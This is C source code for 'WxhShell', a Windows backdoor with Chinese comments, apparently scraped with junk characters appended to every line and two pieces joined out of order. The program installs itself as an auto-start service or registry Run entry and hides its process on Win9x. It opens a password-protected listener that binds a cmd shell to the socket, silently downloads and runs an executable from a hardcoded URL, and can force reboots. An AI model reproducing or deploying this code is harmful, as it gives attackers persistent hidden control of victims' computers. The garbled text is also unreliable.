    if(Boot(SHUTDOWN)) J0V`sK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/P.[5  
    else { *4/FN TC  
    closesocket(wsh); 3xg9D.A  
    ExitThread(0); qv& Bai[  
    } *5IB@^<  
    break; vd?Bk_d9k,  
    } 8Cs;.>75[  
  // 获取shell .7]P-]uOZ  
  case 's': { e:%|.$4OG  
    CmdShell(wsh); H2H`7 +I,  
    closesocket(wsh); *Nm$b+  
    ExitThread(0); ,qx^D  
    break; T/a=z  
  } 4-~Z{#-  
  // 退出 &rGB58  
  case 'x': { Q$uv \h;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kci. ,I  
    CloseIt(wsh); G54J'*Z  
    break; gg >QXui  
    } (+c1.h  
  // 离开 ],_+J *  
  case 'q': { >`r3@|UY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  0:f]&Ng  
    closesocket(wsh); Xu8I8nAwl  
    WSACleanup(); 6<2H 7'  
    exit(1); 9w$m\nV  
    break; =:aJZ[UU<2  
        } _0(%^5Y  
  } 1W\E`)Z}]  
  } m>%b4M  
!$A/.;0$  
  // 提示信息 4qdoF_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XEQTTD<  
} ;-6-DEL  
  } Wl |5EY  
As<B8e]  
  return; +x(#e'6p  
} R*:>h8  
[% C,&h5  
// shell模块句柄 s bj/d~$N  
int CmdShell(SOCKET sock) +? h}e  
{ ];Z6=9n  
STARTUPINFO si; kk %32(By  
ZeroMemory(&si,sizeof(si)); CJ* D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Z23lF 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q pCI [[  
PROCESS_INFORMATION ProcessInfo; _]-4d_&3(  
char cmdline[]="cmd"; C,An\lsT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nq)F$@  
  return 0; z@yTkH_  
} PVsKI<  
#,%7tXOLR  
// 自身启动模式 R|C 2O[r}  
int StartFromService(void) U}LW8886  
{ =eDIvNps  
typedef struct t N{S;)q#X  
{ Gq^vto  
  DWORD ExitStatus; N ~{N Nf Y  
  DWORD PebBaseAddress; lG}#K^q  
  DWORD AffinityMask; H/c (m|KK  
  DWORD BasePriority; J#zr50@@  
  ULONG UniqueProcessId; q0iJy@?A  
  ULONG InheritedFromUniqueProcessId; hq)1YO  
}   PROCESS_BASIC_INFORMATION; >#w;67he2  
ZEAUoC1E1  
PROCNTQSIP NtQueryInformationProcess; JVYH b 60Z  
;f =m+QXU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /' + >/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j{@6y  
TxX=(7V  
  HANDLE             hProcess; H"#ITL  
  PROCESS_BASIC_INFORMATION pbi; Ax;=Zh<DAv  
lH}KFFbp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,~1"50 Hp@  
  if(NULL == hInst ) return 0; {_QdB;VwH  
1^!SuAA@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >Icr4?zq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `#N/]4(j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >?, Zn  
;]u9o}[ 2  
  if (!NtQueryInformationProcess) return 0; VPe0\?!d  
FEaT}/h;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =l/6-j^  
  if(!hProcess) return 0; # z|Q $  
s/E|Z1pg3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xw-[Sf]p  
 Y{p$%  
  CloseHandle(hProcess); g8W,Xq+  
DxJ;C09xNa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]:P7}Kpb  
if(hProcess==NULL) return 0; G0E5Y;YIN$  
Bqq=2lj  
HMODULE hMod; an"&'D}U  
char procName[255]; *MP.YI:h  
unsigned long cbNeeded; : ?>7Z6  
CD$#}Id  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'X^auyL  
bMyld&ga  
  CloseHandle(hProcess); e$# *t  
|A8@r&   
if(strstr(procName,"services")) return 1; // 以服务启动 2cR[~\_9.  
zLpCKndj  
  return 0; // 注册表启动 K~N$s "Qx  
} &mwd0%4  
E/P~HE{  
// 主模块 O>~,RI!  
int StartWxhshell(LPSTR lpCmdLine) <+`%=r)4  
{ .%zcm  
  SOCKET wsl; =V^-@ji)b  
BOOL val=TRUE; l8\UO<^fY  
  int port=0; c3$T3Lu1  
  struct sockaddr_in door; mj~:MCC  
LeKovt%  
  if(wscfg.ws_autoins) Install(); &*C5Nnlv  
M]x> u@JH  
port=atoi(lpCmdLine); x:|Y)Dn\  
$x0SWJ \G  
if(port<=0) port=wscfg.ws_port; IH]9%d)  
Lc*>sOm9  
  WSADATA data; <ql,@*Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #b/qR^2qW  
'7Gv_G_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h051Ol\v*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I;(3)^QH#  
  door.sin_family = AF_INET; at: li  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3S^0%"fY  
  door.sin_port = htons(port); L, JQ\!c  
dzf2`@8#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eqbN_$>  
closesocket(wsl); #9vC]Gm  
return 1; Shm> r@C?  
} / ^.|m3  
KZm&sk=QM-  
  if(listen(wsl,2) == INVALID_SOCKET) { _yg_?GH  
closesocket(wsl); ^L[:DB{Z  
return 1; 2jsbg{QS#_  
} *FlPGBjJ  
  Wxhshell(wsl); "6B7EH  
  WSACleanup(); fz&B$1;8  
OQVrg2A%(  
return 0; }9~^}99}  
7=!9kk0  
} RK3y q$  
$l7^-SK`E  
// 以NT服务方式启动 64s;EC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #[93$)Gd!  
{ E5k)~P`|  
DWORD   status = 0; z _!ut  
  DWORD   specificError = 0xfffffff; NGx3f3 9  
6TtB3;5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; La4S/.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v}B%:1P4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ve,g9I  
  serviceStatus.dwWin32ExitCode     = 0; !"<[&  
  serviceStatus.dwServiceSpecificExitCode = 0; LP<A q  
  serviceStatus.dwCheckPoint       = 0; rP@#_(22  
  serviceStatus.dwWaitHint       = 0; p>6`jr  
bO '\QtW9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V%Uj\cv  
  if (hServiceStatusHandle==0) return; ,_[x|8m  
><V*`{bD9)  
status = GetLastError(); m,l/=M  
  if (status!=NO_ERROR) O%b byR2  
{ ajYe?z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9T,/R1N8  
    serviceStatus.dwCheckPoint       = 0; .tBlGMcN  
    serviceStatus.dwWaitHint       = 0; 0-. d{P  
    serviceStatus.dwWin32ExitCode     = status; r*X,]\V0x  
    serviceStatus.dwServiceSpecificExitCode = specificError;  Z>[7#;;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2*#|t: (c  
    return; f5jl$H.  
  } JF~i.+{ h  
u-_r2U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hbm 4oYN  
  serviceStatus.dwCheckPoint       = 0; _;lw,;ftA  
  serviceStatus.dwWaitHint       = 0; tFN >]`Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dzVi ~wt_&  
} U|^xr~q!f-  
$=aO*i  
// 处理NT服务事件,比如:启动、停止 @6u/)>rI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7|rH9Bc{U  
{ tne_]+  
switch(fdwControl) sZ;|NAx)  
{ D6 B-#u!M  
case SERVICE_CONTROL_STOP: @^{Hq6_`  
  serviceStatus.dwWin32ExitCode = 0; 2 $>DX\h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z\&f"z?L  
  serviceStatus.dwCheckPoint   = 0; sD|l}f  
  serviceStatus.dwWaitHint     = 0; 4S_ -9&z  
  { Xn7G2Yp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C2 N+X(  
  } c9(3z0!F ?  
  return; ] V D  
case SERVICE_CONTROL_PAUSE: +v~x gUs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i"{O~[  
  break; e#Tv5O  
case SERVICE_CONTROL_CONTINUE: +pofN-*%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >{#JIG.  
  break; %#6@PQ[R.  
case SERVICE_CONTROL_INTERROGATE: fF Q|dE;cF  
  break; TlG>)Z@/  
}; N&9o  1_}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T j$'B[cv  
} !avol/*  
+WX/4_STV  
// 标准应用程序主函数 }gp@0ri%5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B(Sy.n  
{ [&x9<f6  
`lhw*{3A  
// 获取操作系统版本 AGBV7Kk  
OsIsNt=GetOsVer(); exRw, Nk4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7DB_Z /uU  
,_z79tC{s  
  // 从命令行安装 { U4!sJSl1  
  if(strpbrk(lpCmdLine,"iI")) Install(); /dnwN7Gf  
&kb`)F3nU  
  // 下载执行文件 FD=% 4#|  
if(wscfg.ws_downexe) { c*USA eP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n<?U6~F&~  
  WinExec(wscfg.ws_filenam,SW_HIDE); qxL\G &~  
} 7 qKz_O  
!_I1=yi  
if(!OsIsNt) { spK8^sh  
// 如果时win9x,隐藏进程并且设置为注册表启动 bcIae0LZ  
HideProc(); iL/c^(1  
StartWxhshell(lpCmdLine); UG| /Px ]  
} SZ` 7t=I2  
else ]a3$hAcj6"  
  if(StartFromService()) AFLtgoXn:  
  // 以服务方式启动 ?K1B^M=8  
  StartServiceCtrlDispatcher(DispatchTable); cNll??j  
else `oRyw6Sko  
  // 普通方式启动 3?OQ-7,  
  StartWxhshell(lpCmdLine); sXLW';Fz  
_]:b@gXUw  
return 0; q'3{M]Tk  
} mz?<t/$U  
So%X(, |  
fN vQ.;  
RTtKf i}  
=========================================== C{)1#<`  
C6+ 5G-Z  
O\}C`CiC  
YAi-eL67l  
{v={q1  
_H]\  
" @T1G#[C~t  
"Ih3  
#include <stdio.h> HU0.)tD  
#include <string.h> #G9 W65f  
#include <windows.h> sz7*x{E  
#include <winsock2.h> kc'$4 J4Tw  
#include <winsvc.h> %VHy?!/  
#include <urlmon.h> (leX` SN0u  
@N'n>8Wn  
#pragma comment (lib, "Ws2_32.lib") [9E~=A#  
#pragma comment (lib, "urlmon.lib") z8=THz2f  
vu0Ql1  
#define MAX_USER   100 // 最大客户端连接数 zLJ>)v$81  
#define BUF_SOCK   200 // sock buffer iFIGJS  
#define KEY_BUFF   255 // 输入 buffer w\C1Bh!  
pwSgFc$z  
#define REBOOT     0   // 重启 iUkUo x  
#define SHUTDOWN   1   // 关机 5(;Y&?k  
Ou[K7-m%&  
#define DEF_PORT   5000 // 监听端口 p.8bX  
79DNNj~  
#define REG_LEN     16   // 注册表键长度 ixTjXl2g  
#define SVC_LEN     80   // NT服务名长度 jCd]ENl+_  
]3r}>/2(  
// 从dll定义API Upz)iOqLi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y4\X~5kU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iSfRJ:_&6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S!K<kn`E3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U1\EwBK8*T  
3Tr,waV  
// wxhshell配置信息 dJuyJl$*  
struct WSCFG { *tjaac;z<J  
  int ws_port;         // 监听端口 @ f[-  
  char ws_passstr[REG_LEN]; // 口令 +.cpZqWn3  
  int ws_autoins;       // 安装标记, 1=yes 0=no }n)0}U5;0  
  char ws_regname[REG_LEN]; // 注册表键名 fy+5i^{=  
  char ws_svcname[REG_LEN]; // 服务名 g-3^</_fZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +'F;\E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >N&{DJmD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #.8v[TkKq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  lKbWQ>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )x-b+SC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s,R:D).  
T CT8OU|  
}; 74^v('-2  
Iv6 lE:)  
// default Wxhshell configuration FDo PW~+[  
struct WSCFG wscfg={DEF_PORT, txEN7!  
    "xuhuanlingzhe", Z% +$<J  
    1, 4*_jGw  
    "Wxhshell", Mo/R+\u+Y  
    "Wxhshell", PRfq_:xy  
            "WxhShell Service", .Ys e/oEo  
    "Wrsky Windows CmdShell Service", &%J{uRp  
    "Please Input Your Password: ", , ['}9:f9  
  1, 4U2{1aN`  
  "http://www.wrsky.com/wxhshell.exe", lpT&v ;$`  
  "Wxhshell.exe" &M-vKc"d  
    }; sRB=<E*_  
|v+z*}fKw  
// 消息定义模块 9J:|"@)N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @Y0ZW't  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xMbgBx4+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; . !1[I{KU  
char *msg_ws_ext="\n\rExit."; 3f =ZNJ>  
char *msg_ws_end="\n\rQuit."; sY<UJlDKT  
char *msg_ws_boot="\n\rReboot..."; r8"2C#  
char *msg_ws_poff="\n\rShutdown..."; = gF035  
char *msg_ws_down="\n\rSave to "; 6R :hsC$  
w!lk&7Q7Z  
char *msg_ws_err="\n\rErr!"; zJXK:/  
char *msg_ws_ok="\n\rOK!"; 2poo@]M/  
}u#3hYa  
char ExeFile[MAX_PATH]; Jp jHbG  
int nUser = 0; w|dfl *  
HANDLE handles[MAX_USER]; ss-W[|cHU  
int OsIsNt; (]w6q&,  
tE %g)hL-  
SERVICE_STATUS       serviceStatus; $9%F1:u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !B`z|#  
F{mUxo#T  
// 函数声明 ;R= n<=Axa  
int Install(void); re*Zs}(N\  
int Uninstall(void); @ ]u@e4T  
int DownloadFile(char *sURL, SOCKET wsh); EIw] 9;'_  
int Boot(int flag); Tm^kZuT{  
void HideProc(void); ~q`f@I  
int GetOsVer(void); ;*?>w|t}w  
int Wxhshell(SOCKET wsl); SM~~:  
void TalkWithClient(void *cs); gk%01&_>4  
int CmdShell(SOCKET sock); V u")%(ix  
int StartFromService(void); )\yK61aX  
int StartWxhshell(LPSTR lpCmdLine); 6UCF w>  
0"7+;(\1Rk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2hV -h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?|,:;^2l1  
H+*3e&  
// 数据结构和表定义 :E}y Pcw  
SERVICE_TABLE_ENTRY DispatchTable[] = F'MX9P  
{ 4prJ!k  
{wscfg.ws_svcname, NTServiceMain}, iw#~xel<ez  
{NULL, NULL} {.Qv1oOa  
}; 4T@+gy^.  
a~Dk@>+P>  
// 自我安装 `h'+4  
int Install(void) 0n:cmML )D  
{ `M~R4lr  
  char svExeFile[MAX_PATH]; :G>w MMv&z  
  HKEY key; I^EZs6~  
  strcpy(svExeFile,ExeFile); =r+K2]z,L  
x8aOXN#w}  
// 如果是win9x系统,修改注册表设为自启动 LZ wCe$1  
if(!OsIsNt) { yF\yxdUX#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Gd A!8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WVD48}HF-  
  RegCloseKey(key); yKhI&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z~2{`pET  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W=HvMD  
  RegCloseKey(key); XaCvBQ  
  return 0; jyD~ER}J  
    } CHTK.%AQH!  
  } n*"r!&Dg  
} 1\}XL=BE  
else { Z,"4f*2  
.Wt3|?\=nd  
// 如果是NT以上系统,安装为系统服务 U 2-{p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z&QfZs  
if (schSCManager!=0) o/3.U=px~  
{ \ Bj{.jL  
  SC_HANDLE schService = CreateService &]YyV.  
  ( Ck#e54gJX  
  schSCManager, T1q27I  
  wscfg.ws_svcname, i&m_G5u88  
  wscfg.ws_svcdisp, 2.WI".&y=  
  SERVICE_ALL_ACCESS, %16Lo<DPm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WOZuFS13  
  SERVICE_AUTO_START, %|e)s_%XE  
  SERVICE_ERROR_NORMAL, -E1-(TS  
  svExeFile, nrY)i_\  
  NULL, mhVLlb Y|t  
  NULL, : %& E58  
  NULL, -TVwoK  
  NULL, I;Mm+5A  
  NULL 3!8(A/YP;  
  ); 4Q0ZY(2 EO  
  if (schService!=0) `(HvD] l  
  { `Pc6 G*p  
  CloseServiceHandle(schService); :pM 8Q1:B  
  CloseServiceHandle(schSCManager); JXL?.{'A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HnArj_E  
  strcat(svExeFile,wscfg.ws_svcname); Btxtu"]nJo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |kK5:\H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mt+i0PIfj  
  RegCloseKey(key); e_e\Ie/pDc  
  return 0; f2[R2sto@  
    } q{`1 [R  
  } M?YNK]   
  CloseServiceHandle(schSCManager); 5IUdA?  
} "x R6~8  
} ]+Lr'HF  
2$Xof  
return 1; |l8=z*v<  
} (mp  
oc)`hg2=  
// 自我卸载 1N(#4mE=  
int Uninstall(void) hYpxkco"4'  
{ QOEi.b8r  
  HKEY key; ;U>nj],uv  
7)QZ<fme  
if(!OsIsNt) { >=97~a+.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ke8g tbm  
  RegDeleteValue(key,wscfg.ws_regname); -XXsob}/8  
  RegCloseKey(key); .KKecdd?=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G+N1#0,q  
  RegDeleteValue(key,wscfg.ws_regname); 1iY4|j;ahV  
  RegCloseKey(key); iO?AY  
  return 0; #WZat ?-N  
  } iXy1{=BDv  
} j7ZxA*  
} _|US`,kfc  
else { 5H.~pc2y  
hy~[7:/<I&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %IBT85{  
if (schSCManager!=0) _U&HXQ8X  
{ UB5H8&Rf!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q k}RcP  
  if (schService!=0) Vm<_e  
  { 7(]F+\A3  
  if(DeleteService(schService)!=0) { 4ams~  
  CloseServiceHandle(schService); C<C$df  
  CloseServiceHandle(schSCManager); {,JO}Dmu5  
  return 0; Mq<ob+  
  } Ic4#Tk20i  
  CloseServiceHandle(schService); ?Fx~_GT  
  } hhaiH i!$  
  CloseServiceHandle(schSCManager); ]?+i6 [6U  
} =S{OzF  
} :+DrV\)  
SI~jM:S}  
return 1; jbipNgxkr  
} 8)bR\s   
cy.r/Z}  
// 从指定url下载文件 1v|-+p42  
int DownloadFile(char *sURL, SOCKET wsh) s>o#Ob@4'  
{ )KE  
  HRESULT hr; @U8u6JNK'  
char seps[]= "/"; JWd[zJ[  
char *token; mq[=,,#  
char *file; 0Q a 0  
char myURL[MAX_PATH]; Y]L4,V  
char myFILE[MAX_PATH]; avq$aq(3&  
`sqr>QD  
strcpy(myURL,sURL); 0#OyT'~V%  
  token=strtok(myURL,seps); <~5O-.G]  
  while(token!=NULL) F:q4cfL6  
  { D%]S>g5k  
    file=token; 'Z~ZSu  
  token=strtok(NULL,seps); U4=l`{5on  
  } f2x!cL|Kx?  
'27$x&6>S  
GetCurrentDirectory(MAX_PATH,myFILE); xx!8cvD4?  
strcat(myFILE, "\\"); SPE)db3  
strcat(myFILE, file); v^@)&,  
  send(wsh,myFILE,strlen(myFILE),0); H9)n<r  
send(wsh,"...",3,0); rb-ao\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =xm7i#1  
  if(hr==S_OK) IWu=z!mO  
return 0; q  
else '(@q"`n  
return 1; ZwBz\jmbP  
I`{*QU  
} KbLSK  
$h p UI  
// 系统电源模块 %CHw+wT&  
int Boot(int flag) Cd)g8<  
{ 0YFXF  
  HANDLE hToken; 3[u- LYW  
  TOKEN_PRIVILEGES tkp; lo>9 \ Po  
- $<oY88  
  if(OsIsNt) { ) n O ^Ay  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }R<t=):  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +"-l~`+<es  
    tkp.PrivilegeCount = 1; u!|_bI3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,Suk_aX>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Axsezr/  
if(flag==REBOOT) { jKmjZz8L]%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) # &.syD#  
  return 0; T" {~mQ*  
} kMCP .D45;  
else { :Q DkaA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AuQ|CXG-\  
  return 0; 4Y?2u  
} 5kw  K%  
  } Gw3+TvwU+Q  
  else { QIMd`c  
if(flag==REBOOT) { S'34](9n6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UDr 1t n  
  return 0; vU,7Y|t`  
} V\zcv@  
else { [<@T%yq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UxNn5(:sM@  
  return 0; I>FL&E@K  
} #ae?#?/"  
} N62;@Z\7  
]|g2V a~-  
return 1; n{!{,s  
} 39 }e }W"  
,;}   
// win9x进程隐藏模块 w{DU<e:  
void HideProc(void) "'[M~Js  
{ s`=| D'G(=  
9f0`HvHC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y[$UeE"0  
  if ( hKernel != NULL ) Bbs1U  
  { ]7_>l>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hj>9#>b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y9X,2L7V  
    FreeLibrary(hKernel); E>QS^)ih  
  } S|tA%2z  
k*;U?C!  
return; 5%2~/ "  
} 'S6zkwC]  
EM@|^47$  
// 获取操作系统版本 5V/&4$.U!  
int GetOsVer(void) Z0Sqw  
{ LmJjO:W}^y  
  OSVERSIONINFO winfo; ~$6` e:n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \(Rj2  
  GetVersionEx(&winfo); :;Z/$M16B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \@Cz 32wg  
  return 1; 0J'^<G TL  
  else e*T^:2oRl  
  return 0; aQmS'{d?^  
} CrI<rD%'  
&'12,'8  
// 客户端句柄模块 }Q: CZ  
int Wxhshell(SOCKET wsl) wqDf\k}'v  
{ VQ('ejv}/  
  SOCKET wsh; 3y.+03 W  
  struct sockaddr_in client; @xdtl{5G  
  DWORD myID; +!u9_?Tp  
JvXuN~fI{[  
  while(nUser<MAX_USER) poafGoH-Y  
{ E'{:HX  
  int nSize=sizeof(client); @lDnD%vZ`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n>u_>2Ikkj  
  if(wsh==INVALID_SOCKET) return 1; Fy5:|C N  
]vf_4QW=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OSO MFt  
if(handles[nUser]==0) m&=Dy5  
  closesocket(wsh); Rp2h[_>  
else GjwH C{  
  nUser++; $MDmY4\  
  } &w^9#L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vGsAM* vw6  
vh.8m $,  
  return 0; t"Du  
} <UO[*_,\  
^E/6 vG  
// 关闭 socket OH>Gc-V  
void CloseIt(SOCKET wsh) vUbgSI  
{ SN"Y@y)=  
closesocket(wsh); Mo3%OR  
nUser--; [gUD +  
ExitThread(0); rOLZiET  
} vW.f`J,\D'  
JG^GEJ  
// 客户端请求句柄 5GAW3j{  
void TalkWithClient(void *cs) P'B|s /)  
{ U~BR8]=G  
wq.'8Y~BE  
  SOCKET wsh=(SOCKET)cs; 0B 1nk!F  
  char pwd[SVC_LEN]; =,it`8;  
  char cmd[KEY_BUFF]; |(tl a_LE  
char chr[1]; "\Dqtr w  
int i,j; Y!]a*==  
}8 ;,2E*z  
  while (nUser < MAX_USER) { H5d@TB, `  
56YqYu.  
if(wscfg.ws_passstr) { ='.b/]!_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 J"g"=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7)D[}UXz  
  //ZeroMemory(pwd,KEY_BUFF); b' ^<0c  
      i=0; E2}X[EoBF  
  while(i<SVC_LEN) { KJ/Gv#Kj  
!lg_zAV  
  // 设置超时 M3UC9t9]  
  fd_set FdRead; Il\{m?Y  
  struct timeval TimeOut; |a])o  
  FD_ZERO(&FdRead); O=}  
  FD_SET(wsh,&FdRead); p5rq>&"  
  TimeOut.tv_sec=8; 93Gj#Mk  
  TimeOut.tv_usec=0; IIMf\JdM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); < (9 BO&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JO]?u(m01  
19R~&E's  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &to~#.qc  
  pwd=chr[0]; b"o\-iUioe  
  if(chr[0]==0xd || chr[0]==0xa) { I3.JAoB>!  
  pwd=0; _0 4 3,  
  break; ]Rf$&7`g{  
  } F&p42!"  
  i++; ?2o+x D2  
    } "MzBy)4Q  
H;a) `R3  
  // 如果是非法用户,关闭 socket D dwFKc&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *>aVU'  
} @ukL! AV?Y  
~)pZ5%C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o:UNSr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )RFY2 }  
%! Sjbh  
while(1) { lhE]KdE3  
"}0QxogYE  
  ZeroMemory(cmd,KEY_BUFF); l(QntP  
(i{ZxWW&  
      // 自动支持客户端 telnet标准   WUYU\J&q3  
  j=0; rUV'DC?eE  
  while(j<KEY_BUFF) { Qg1kF^=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iw] ylp  
  cmd[j]=chr[0]; DI-&P3iGx  
  if(chr[0]==0xa || chr[0]==0xd) { oEZhKVyc.y  
  cmd[j]=0; J7WNgl% u  
  break; KX\=wFbP)  
  } ErA*a3  
  j++; 7ko}X,aC  
    } oP 7)  
_o?aO C  
  // 下载文件 t#f-3zd9  
  if(strstr(cmd,"http://")) { w"kBAi&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X/%!p<}:'  
  if(DownloadFile(cmd,wsh)) 9^sz,auB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /3Y"F"`M.  
  else ~_CZ1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HYdt3GtJ?  
  } vfDX~_N  
  else { 8rBa}v9  
&-IkM%_A9  
    switch(cmd[0]) { S_AN.8T  
